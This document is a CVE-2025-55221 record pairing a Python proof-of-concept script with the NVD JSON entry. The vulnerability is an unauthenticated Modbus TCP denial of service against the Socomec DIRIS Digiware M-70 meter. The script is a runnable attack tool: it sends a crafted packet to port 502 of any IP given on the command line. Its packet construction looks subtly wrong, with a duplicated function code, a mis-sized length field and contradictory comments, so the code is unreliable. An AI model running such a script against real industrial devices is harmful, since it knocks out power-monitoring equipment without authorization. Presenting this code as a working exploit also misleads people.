CVE-2025-55221

#!/usr/bin/env python3 """ CVE-2025-55221 PoC - Modbus TCP DoS for Socomec DIRIS Digiware M-70 Note: This is a proof-of-concept for authorized security testing only """ import socket import struct def create_modbus_tcp_packet(unit_id, function_code, data): """Create a Modbus TCP packet""" transaction_id = 0x0001 protocol_id = 0x0000 length = 6 + len(data) header = struct.pack('>HHHBB', transaction_id, protocol_id, length, unit_id, function_code ) return header + data def exploit(target_ip, target_port=502): """Send malicious Modbus packet to trigger DoS""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: sock.connect((target_ip, target_port)) # Malicious payload targeting USB function # Function code 0x2B (0x0E) - CANopen layer malicious_data = b'\x2B\x0E\x01\x00\xFF\xFF\xFF\xFF' packet = create_modbus_tcp_packet( unit_id=0x01, function_code=0x2B, data=malicious_data ) print(f"[*] Sending malicious Modbus packet to {target_ip}:{target_port}") sock.send(packet) print("[*] Packet sent. Target should experience DoS condition.") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) exploit(sys.argv[1])

{"cve": {"id": "CVE-2025-55221", "sourceIdentifier": "[email protected]", "published": "2025-12-01T16:15:54.443", "lastModified": "2025-12-05T20:47:43.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial of service vulnerability exists in the Modbus TCP and Modbus RTU over TCP USB Function functionality of Socomec DIRIS Digiware M-70 1.6.9. A specially crafted network packet can lead to a denial of service. An attacker can send an unauthenticated packet to trigger this vulnerability.This vulnerability is specific to the malicious message sent via Modbus TCP over port 502."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:socomec:diris_m-70_firmware:1.6.9:*:*:*:*:*:*:*", "matchCriteriaId": "C07608BE-E7E3-44F5-AE9A-4AE36679F58A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:socomec:diris_m-70:-:*:*:*:*:*:*:*", "matchCriteriaId": "153A9D26-2C76-4B6B-AFD8-22DEB2081F34"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2251", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}